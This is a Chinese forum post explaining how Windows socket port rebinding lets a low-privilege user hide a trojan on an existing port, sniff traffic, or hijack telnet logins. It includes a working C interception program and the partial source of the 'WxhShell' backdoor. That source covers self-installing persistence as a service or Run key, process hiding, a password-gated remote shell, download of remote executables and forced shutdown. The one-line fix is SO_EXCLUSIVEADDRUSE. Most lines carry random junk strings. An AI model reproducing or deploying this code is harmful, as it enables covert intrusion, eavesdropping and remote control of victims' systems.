社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 17104阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [* xdILj  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); fTxd8an{  
Z%~}*F}7X  
  saddr.sin_family = AF_INET; HT7,B(.}  
#}Qe{4L  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8vx ca]DcV  
8)>>EN8 R  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Zma;An6  
]& D dy&V  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 O%t? -h  
+|C@B`h  
  这意味着什么?意味着可以进行如下的攻击: W @"Rdc-  
U|wST&rU|  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,Uh^e]pC  
<?41-p-;  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) yp~z-aRa  
'`8 ^P  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 x(?Rm,  
UVDMYA0  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5Q"yn2b4  
>p&"X 2 @  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @@ j\OR  
~,,r\Y+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5,xPB5pK  
:@(1~Hm  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 E}Cz(5  
Aa-5k3:x]=  
  #include Q7amp:JFb  
  #include A":=-$)  
  #include OcB&6!1u  
  #include    0L;,\&*u  
  DWORD WINAPI ClientThread(LPVOID lpParam);   x~k3kj  
  int main() p*K #s1  
  { Dx\~#$S!=  
  WORD wVersionRequested; 5H'Iul<Os  
  DWORD ret; P%B|HnG^  
  WSADATA wsaData; =pzTB-G  
  BOOL val; 'oz$uvX  
  SOCKADDR_IN saddr; qKSR5 #  
  SOCKADDR_IN scaddr; HFB>0<$  
  int err; e!=7VEB  
  SOCKET s; aGW O3Nk  
  SOCKET sc; /#5rt&q  
  int caddsize; Wrbv<8}%c  
  HANDLE mt; ~M7X]  
  DWORD tid;   _W@sFv%sj  
  wVersionRequested = MAKEWORD( 2, 2 ); {pQ8/Af!  
  err = WSAStartup( wVersionRequested, &wsaData ); b73}|4v  
  if ( err != 0 ) { =ZS Yg K  
  printf("error!WSAStartup failed!\n"); c}v8j2{  
  return -1; 'RwfW|~6  
  } Vuy%7H  
  saddr.sin_family = AF_INET; wo62R&ac  
   *s, bz.[  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .WeSU0XG  
hBNA,e:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); VgcLG ]tE[  
  saddr.sin_port = htons(23); #@K %Mx  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) okQ<_1e{  
  { (2p<I)t  
  printf("error!socket failed!\n"); :6y;U  
  return -1; %H8s_O  
  } Z-rHYfa4  
  val = TRUE; .u$o^; z!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 s|o+ Im  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) }J|Pd3Q Sf  
  { 0XUWK@)P  
  printf("error!setsockopt failed!\n"); &u~#bDh  
  return -1; y8CH=U[  
  } b*W01ist  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; zJX _EO  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @w5x;uB|%G  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 aXRf6:\%  
)lDmYt7me  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) s>1Wjz2M  
  { Z@ QJ5F1y  
  ret=GetLastError(); N Obw/9JO  
  printf("error!bind failed!\n"); K *xca(6  
  return -1; iFkXt<_A  
  } 9KGi%UIFvn  
  listen(s,2); :~%{  
  while(1) kP,^c {  
  { p^THoF'~T  
  caddsize = sizeof(scaddr); dxK3462  
  //接受连接请求 ~3,k8C"pRq  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); d}--}&r  
  if(sc!=INVALID_SOCKET) 8D6rShx =  
  { Dwuao`~Xm  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]x:>!y  
  if(mt==NULL) W~qVZ(G*U  
  { #d;/Me  
  printf("Thread Creat Failed!\n"); AOscewQ  
  break; EEdU\9DH(  
  } iTIYq0u|#R  
  } Zj5B}[,l\  
  CloseHandle(mt); s5 ($b  
  } ^g N/5  
  closesocket(s); t5;)<N`  
  WSACleanup(); Q7@oAeNd  
  return 0; Q]hl+C$d"/  
  }   fe8}2#<o  
  DWORD WINAPI ClientThread(LPVOID lpParam) %=`wN^3t2  
  { ,4H/>yPw  
  SOCKET ss = (SOCKET)lpParam; iph}!3f  
  SOCKET sc; r<c&;*  
  unsigned char buf[4096]; $L"h|>b\o  
  SOCKADDR_IN saddr; i)th] 1K%  
  long num; o8h` 9_  
  DWORD val; &(X67  
  DWORD ret; e6gLYhf&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \qz! v  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   M2pFXU?]  
  saddr.sin_family = AF_INET; Yan}H}Oq  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); W[<ZI>mf  
  saddr.sin_port = htons(23); > PK 6CR  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) , {X}C  
  { 6_g:2=6S  
  printf("error!socket failed!\n"); `!Yd$=*c_&  
  return -1; TyY%<NCIb  
  } 2#oU2si   
  val = 100; 53WCF[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) mx5#K\  
  { )kDB*(?  
  ret = GetLastError(); ,ygUy]  
  return -1; _p^$.\k"  
  } NG_7jZzXA9  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `j8pgnY>5~  
  {  h@PE:=  
  ret = GetLastError(); K[yP{01  
  return -1; -2'1KAk-W  
  } SHT`  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #>6Jsnv1  
  { +xd@un[r<  
  printf("error!socket connect failed!\n");  |A\o  
  closesocket(sc); c:aW"U   
  closesocket(ss); WPAT\Al&AE  
  return -1; X;n09 L`CB  
  } q%LjOPE V  
  while(1) -^3uQa<zN^  
  { #\ uB!;Q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^a<kp69qS  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ] n\]ao  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 "  sC]z}  
  num = recv(ss,buf,4096,0); rp+]f\] h  
  if(num>0) 6_:I~TTX  
  send(sc,buf,num,0); C^;>HAK|F  
  else if(num==0) O>'tag  
  break; ZZL@UO>:  
  num = recv(sc,buf,4096,0); `NTtw;%Y  
  if(num>0) sF>O=F-7  
  send(ss,buf,num,0); C`R<55x6  
  else if(num==0) icb *L~qm  
  break; pKno~jja  
  } 0' oXA'L-J  
  closesocket(ss); .9N7`  
  closesocket(sc); :dpwr9)  
  return 0 ; c/igw+L()  
  } ~> N63I6  
}LeS3\+UHl  
 "iR:KW@  
========================================================== vw4b@v-XQ3  
/!MVpi'6&  
下边附上一个代码,,WXhSHELL #4JLWg  
zvVo-{6  
========================================================== k'k}/Hxub  
Xhq6l3M  
#include "stdafx.h" eWN g?*/  
:w!hkUx#  
#include <stdio.h> oR,6esA+6n  
#include <string.h> jCXBp>9$M  
#include <windows.h> PZ`11#bbm  
#include <winsock2.h> ]%y>l j?Y  
#include <winsvc.h> Uqb]&2  
#include <urlmon.h> Mm(#N/  
nJGs,~"  
#pragma comment (lib, "Ws2_32.lib") JSi0-S[Y{  
#pragma comment (lib, "urlmon.lib") +'-.c"  
|35OA/O?X  
#define MAX_USER   100 // 最大客户端连接数 GGhk~H4OP  
#define BUF_SOCK   200 // sock buffer HFI0\*xn(  
#define KEY_BUFF   255 // 输入 buffer yW (|auq  
7KX27.~F  
#define REBOOT     0   // 重启 '5 ~cd  
#define SHUTDOWN   1   // 关机 vXRY/Zzj1  
Y)DX   
#define DEF_PORT   5000 // 监听端口 [!yA#{xl,  
2jC`'8  
#define REG_LEN     16   // 注册表键长度 F-,chp  
#define SVC_LEN     80   // NT服务名长度 nvT@ 'y+  
*; ]}`r  
// 从dll定义API pITF%J@_]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R6O v  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jT =|!,Pn  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )?UoF&c/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); eF22 ~P  
4minzrKM\  
// wxhshell配置信息 QJRnpN/  
struct WSCFG { ,`Y$}"M4  
  int ws_port;         // 监听端口 h7!O K  
  char ws_passstr[REG_LEN]; // 口令 ~cCMLK em  
  int ws_autoins;       // 安装标记, 1=yes 0=no y'`/^>.  
  char ws_regname[REG_LEN]; // 注册表键名 NFZ(*v1U  
  char ws_svcname[REG_LEN]; // 服务名 wCB*v<*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,M;9|kE*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $vfgYl4q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 , :#bo]3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )ZpI%M?)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z6C(?R  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P,{Q k~iu  
W&*&O,c  
}; 'R79,)|;[  
B5;%R01A  
// default Wxhshell configuration () _RLA  
struct WSCFG wscfg={DEF_PORT, >bh+!5Y0  
    "xuhuanlingzhe", M`H#Qo5/  
    1, + U5Q/g  
    "Wxhshell", \D?'.Wo%  
    "Wxhshell", *9EwZwE_K  
            "WxhShell Service", BB/wL_=:  
    "Wrsky Windows CmdShell Service", 1@}F8&EZ  
    "Please Input Your Password: ", /GIGE##1F  
  1, WzN c=@[W  
  "http://www.wrsky.com/wxhshell.exe", 6:#o0OeBP  
  "Wxhshell.exe" AygdAg'\  
    }; 5-|!mSd   
#cfiN b}GX  
// 消息定义模块 x z8e1M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .[O{,r  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1'E=R0`pA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E(r_mF7:  
char *msg_ws_ext="\n\rExit."; _YF>Y=D-  
char *msg_ws_end="\n\rQuit."; XIl <rN@-  
char *msg_ws_boot="\n\rReboot..."; yxt"vm;  
char *msg_ws_poff="\n\rShutdown..."; i< ^X z  
char *msg_ws_down="\n\rSave to "; s|Mo3_>  
"[_j8,t`  
char *msg_ws_err="\n\rErr!"; */;7Uv7  
char *msg_ws_ok="\n\rOK!"; Ek)drt7cy  
fs 'SCwx  
char ExeFile[MAX_PATH]; %} `` :  
int nUser = 0; Te+(7 Z  
HANDLE handles[MAX_USER]; D;pI!S<#  
int OsIsNt; d?*] /ZiR  
4E^ ?}_$  
SERVICE_STATUS       serviceStatus; X,k^p[Rcu  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Qo#]Lo> \g  
t eY@) F  
// 函数声明 duY?LJ@g  
int Install(void); "JB4 Uaa  
int Uninstall(void); mJUM#ry  
int DownloadFile(char *sURL, SOCKET wsh); %F 2h C x  
int Boot(int flag); }nd>SK4  
void HideProc(void); xuK"pS  
int GetOsVer(void); NU=ru/  
int Wxhshell(SOCKET wsl); PILpWhjL$9  
void TalkWithClient(void *cs); d0:LJ'<Q  
int CmdShell(SOCKET sock); 5kiW@{m  
int StartFromService(void);  k[r^@|  
int StartWxhshell(LPSTR lpCmdLine); <YaTr9%w  
+fKOX#%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tMxd e+ $y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y9)j1~  
1h$?,  
// 数据结构和表定义 Nz dN4+  
SERVICE_TABLE_ENTRY DispatchTable[] = #Z%" ?RJ  
{ ix!xLm9\  
{wscfg.ws_svcname, NTServiceMain}, :$k*y%Z*N&  
{NULL, NULL} lFzVd N  
}; h:aa^a~y i  
m+(Cl#+  
// 自我安装 :PO./IBX  
int Install(void) ~lj[> |\Oj  
{ ?o " Vkc:  
  char svExeFile[MAX_PATH]; cC/h7o dY  
  HKEY key; Ob$``31{s  
  strcpy(svExeFile,ExeFile); e5' I W__  
=[( 34#  
// 如果是win9x系统,修改注册表设为自启动 >#]A2,  
if(!OsIsNt) { 'UlVc2%{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *#=Ijr~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )WqolB  
  RegCloseKey(key); y]h0c<NP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %f]#P8V P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d(q1 ?{zr4  
  RegCloseKey(key); *[si!e%  
  return 0; ?N Mk|+  
    } ^DYS~I%s  
  } RjW wsC~B  
} +z;*r8d<X  
else { cH5i420;aO  
!T0I; j&  
// 如果是NT以上系统,安装为系统服务 ]\pi!oa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <`nShP>vl  
if (schSCManager!=0) q`<vY'&1  
{ :v^/k]S  
  SC_HANDLE schService = CreateService xM jn=\}  
  ( iWCYK7c@.-  
  schSCManager, 2 @#yQB1  
  wscfg.ws_svcname,  t`o"K  
  wscfg.ws_svcdisp, }* :3]  
  SERVICE_ALL_ACCESS, )9eI o&Nl  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )iN;1>  
  SERVICE_AUTO_START, -xtT,^<B  
  SERVICE_ERROR_NORMAL, Dz}i-tw+  
  svExeFile, '@{:Fr G*U  
  NULL, 4(L mjue]?  
  NULL, }1#m+ (;  
  NULL, D[$"nc/  
  NULL, F- ,gj{s  
  NULL 5Kzt8Tv[  
  ); >_}isCd,  
  if (schService!=0) Ks.b).fH  
  { p4VARAqi  
  CloseServiceHandle(schService); 'va[)~!  
  CloseServiceHandle(schSCManager); w.m8SvS&b  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ? |M-0{  
  strcat(svExeFile,wscfg.ws_svcname); owNwj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lSX1|,B7:]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z ]A |"6<  
  RegCloseKey(key); 3BM z{ny=  
  return 0; i%i~qTN  
    } lNe4e6  
  } Y:\msq1xp  
  CloseServiceHandle(schSCManager); mb*Yw 6q  
} DGFSD Py[  
} }c,b]!:  
8qe[x\,"8  
return 1; mE~ WE+lw9  
} PZ]tl  
$0Y`> 3  
// 自我卸载 k0Vri$x  
int Uninstall(void) <F3{-f'Rx  
{ HI5NWdfRl  
  HKEY key; eT%x(P  
KM&P5}  
if(!OsIsNt) { *R6lK&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'aNkU  
  RegDeleteValue(key,wscfg.ws_regname); P>_O :xD  
  RegCloseKey(key); 2IYzc3Z{9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "leSQ  
  RegDeleteValue(key,wscfg.ws_regname); p[4 +`8  
  RegCloseKey(key); Tg)F.):  
  return 0; Z}O]pm>=G  
  } 8~U ^G[!  
} ~gX1n9_n  
} uzp\V 39  
else { XL*M#Jx  
NDRD PD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {t;o^pUF  
if (schSCManager!=0) 89 d%P J0  
{ W'6DwV|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |5flvkid  
  if (schService!=0) \]>821r  
  { 4 QQt 0u0  
  if(DeleteService(schService)!=0) { S$b)X"h  
  CloseServiceHandle(schService); 1ZF KLI`V  
  CloseServiceHandle(schSCManager); aQoB1 qd8  
  return 0; HD<$0M|  
  } |k~AGc  
  CloseServiceHandle(schService); 8i;1JA  
  } GkOk.9Y,5  
  CloseServiceHandle(schSCManager); 9swHa  
} bB4FjC':  
} +kWWx#L#  
/J^dz vH  
return 1; xR-;,=J  
} sd4eG  
A"r<$S6  
// 从指定url下载文件 7bYwh8  
int DownloadFile(char *sURL, SOCKET wsh) pwMA,X/{  
{ v,n 8$,  
  HRESULT hr; 8`S1E0s  
char seps[]= "/"; KS#A*BRQ  
char *token; uWx<J3~q.  
char *file; L%H\|>k`  
char myURL[MAX_PATH]; #;99vwc  
char myFILE[MAX_PATH]; \asn^V@"zz  
;):;H?WS|A  
strcpy(myURL,sURL); ~AWn 1vFc  
  token=strtok(myURL,seps); 7a>+ma\  
  while(token!=NULL) 6,4vs+(|\  
  { ok6t| 7sq  
    file=token; b B#QIXY/L  
  token=strtok(NULL,seps); %KF I~Qk  
  } EkV#i  
yVVyWte,  
GetCurrentDirectory(MAX_PATH,myFILE); v,opyTwG|  
strcat(myFILE, "\\"); (<B%Gy@  
strcat(myFILE, file); S? Cd,WxT  
  send(wsh,myFILE,strlen(myFILE),0); ;a|%W4"  
send(wsh,"...",3,0); &@xm< A\S  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); uj)vh  
  if(hr==S_OK) !]?kvf-3e  
return 0; }#tbK 2[  
else c)Ng9p  
return 1; pzt<[;  
^KD1dy3(  
} x _kT Wq  
TP| ogF?  
// 系统电源模块 A;X3z-[[  
int Boot(int flag) gcI<bY  
{ % dtn*NU  
  HANDLE hToken; D?dS/agA  
  TOKEN_PRIVILEGES tkp; rR ^o  
oNYFbZw  
  if(OsIsNt) { [ Y{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Zqf ovG  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %qqCpg4  
    tkp.PrivilegeCount = 1; Za?BpV~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pm9sI4S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t(vyi  
if(flag==REBOOT) { 3xRn  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g`Q!5WK*  
  return 0; DGTE#?'(  
} x8c>2w;6x^  
else { K[?@nl?,z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =/xx:D/  
  return 0; ,c`Wmp^AY  
} ;P}007;  
  } ,*9gy$  
  else { ,jW a&7  
if(flag==REBOOT) { F_ -Xx"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ru/{s3  
  return 0; ,* \s  
} gw">xt5  
else { 3me&isKL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2B)1 tP  
  return 0; OaT]2o  
} *aFh*-Sj2I  
} JSylQ201  
*2.h*y'u  
return 1; u] G  
} m$hkmD|  
?I+$KjE+  
// win9x进程隐藏模块 9D,!]  
void HideProc(void) r}(mjC"o  
{ n _x+xVi%  
*c%{b3T_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m;1/+qs0  
  if ( hKernel != NULL ) 6Z=Qs=q  
  { Lr d-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dK8dC1@,X;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +~P_o_M  
    FreeLibrary(hKernel); O0_RW`69  
  } zTPNQ0=|  
5yj#9H  
return; bVa?yWb.  
} WjSu4   
<dVJV?i;  
// 获取操作系统版本 YRv96|c,  
int GetOsVer(void) DvLwX1(l  
{ ly_8p63-  
  OSVERSIONINFO winfo; @Cx goX^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <R~;|&o,$  
  GetVersionEx(&winfo); +%WW8OX   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fz8 41 <Y  
  return 1; C9""sVs  
  else y!rJ}e  
  return 0; Hr7pcz/#l  
} "(dI/}  
3zc;_U2  
// 客户端句柄模块 ~J5B?@2hK  
int Wxhshell(SOCKET wsl) a({N}ZDo  
{ Bu?Qyz2O  
  SOCKET wsh; !mB `FC  
  struct sockaddr_in client; q"S,<I<f  
  DWORD myID; 9`"#OQPn1  
Mc(|+S@w'  
  while(nUser<MAX_USER) tGbx/$Y   
{ GZn=Hgv8  
  int nSize=sizeof(client); (#)XRm{t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5Fj9.K~k  
  if(wsh==INVALID_SOCKET) return 1; -yBj7F|  
>,_0Mem2Rr  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _ yDDPuAi  
if(handles[nUser]==0) / ;[x3}[  
  closesocket(wsh); <%rm?;PBl  
else p&)d]oV>  
  nUser++; T{-gbo`Yji  
  } _Y}cK| 3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R7!v=X]i  
qHo H h  
  return 0; dV}]\ 8N  
} G-R83Orl  
f5{|_]q]  
// 关闭 socket E $W0HZ'  
void CloseIt(SOCKET wsh) ^SsnCn-e  
{ VZ">vIRyi|  
closesocket(wsh); N^PkSf[)h5  
nUser--; #`K{vj  
ExitThread(0); 6U$e;cr6  
} -Lb7=98  
:*DWL!a  
// 客户端请求句柄 ~3Zz.!F  
void TalkWithClient(void *cs) b?lRada{I  
{ g>w {{G  
W,H=K##6<  
  SOCKET wsh=(SOCKET)cs;  4~ L1~Gk  
  char pwd[SVC_LEN]; Hvy$DX|p  
  char cmd[KEY_BUFF]; \&ZEIAe  
char chr[1]; !>=lah$&  
int i,j; Dv` "3  
}[drR(]`dO  
  while (nUser < MAX_USER) { ocMTTVo  
jvD_{r  
if(wscfg.ws_passstr) { @'GPZpbvZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .X"&k O>G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )R?uzX^qf  
  //ZeroMemory(pwd,KEY_BUFF); E?bv<L,"  
      i=0; %g89eaEZ  
  while(i<SVC_LEN) { 1^V.L+0s]  
0=t2|,}  
  // 设置超时 *A8Et5HAv  
  fd_set FdRead; XP:fL NpQ  
  struct timeval TimeOut; 'irwecd8  
  FD_ZERO(&FdRead); *:"60fkoU  
  FD_SET(wsh,&FdRead); uW#s;1H.)  
  TimeOut.tv_sec=8; L,nb<  
  TimeOut.tv_usec=0; jA^Dk$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Jq?zr]"A  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /7p(%vr  
n|DMj[uT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5ZH3}B^L$  
  pwd=chr[0]; }m5()@Q}a  
  if(chr[0]==0xd || chr[0]==0xa) { cTRtMk%^  
  pwd=0; kJOZ;X=9/  
  break; ^b|? ?9&  
  } n7Eh!<  
  i++; PHI c7*_  
    } N: 38N  
i>CR{q  
  // 如果是非法用户,关闭 socket Nv;'Ys P  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J>#yA0QD2  
} _4SZ9yu  
lV 4TFt ,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d#bg(y\G|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7p':a)  
#Y-_kQV*  
while(1) { d$+0 ;D4E  
:PY8)39@K  
  ZeroMemory(cmd,KEY_BUFF); XfMUodV-OZ  
5? Y(FhnIC  
      // 自动支持客户端 telnet标准   :]Om4Q\-#  
  j=0; upk_;ae  
  while(j<KEY_BUFF) { u0oTqD?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BOM0QskLf  
  cmd[j]=chr[0]; >rP[Xox'  
  if(chr[0]==0xa || chr[0]==0xd) { 9yTkZ`M28  
  cmd[j]=0; mA,{E-T  
  break;  Q$`uZ  
  } MzKl=G  
  j++; |G6'GTwZD  
    } &vN!>bR  
|+sAqx1IF  
  // 下载文件 B|9XqQ EI  
  if(strstr(cmd,"http://")) { 5i'?oXL  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0 .T5% _ /  
  if(DownloadFile(cmd,wsh)) MuzQ z.C  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); D[6sy`5l  
  else ~Cynw(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x.|sCqx  
  } OQ<;w  
  else { 0/7.RpX,.  
j%Uoigi  
    switch(cmd[0]) { e!w2_6?3  
  Wk/Q~ o  
  // 帮助 *u,&?fCl  
  case '?': { 5t_Dt<lIz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {o*$|4q4  
    break; r_tt~|s,>  
  } +eLL)uk  
  // 安装 x6Gl|e[jv  
  case 'i': { w6Mv%ZO_  
    if(Install()) tBl (E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .~rg#*]^  
    else P (Y\l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sP% b? 6  
    break; gCVOm-*:  
    } F1M:"-bda  
  // 卸载 RVs=s}|>*  
  case 'r': { \ZE=WvnhZ  
    if(Uninstall()) ,TB$D]u8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vr %ef:uVV  
    else 4mX?PKvbn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -2 8bJ,  
    break; fuF{8-ua  
    } QX=x^(M$m  
  // 显示 wxhshell 所在路径 ^/x\HGrw  
  case 'p': { n)35-?R/M  
    char svExeFile[MAX_PATH]; Vu E$-)&)  
    strcpy(svExeFile,"\n\r"); qFq$a9w|@  
      strcat(svExeFile,ExeFile); ]-SJ";aU  
        send(wsh,svExeFile,strlen(svExeFile),0); 9v 8^uPA  
    break; ~0?B  
    } MtoOIkQ  
  // 重启 =2} kiLKO  
  case 'b': { ),xD5~_=q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N|Xm{@C  
    if(Boot(REBOOT)) V s=o@  
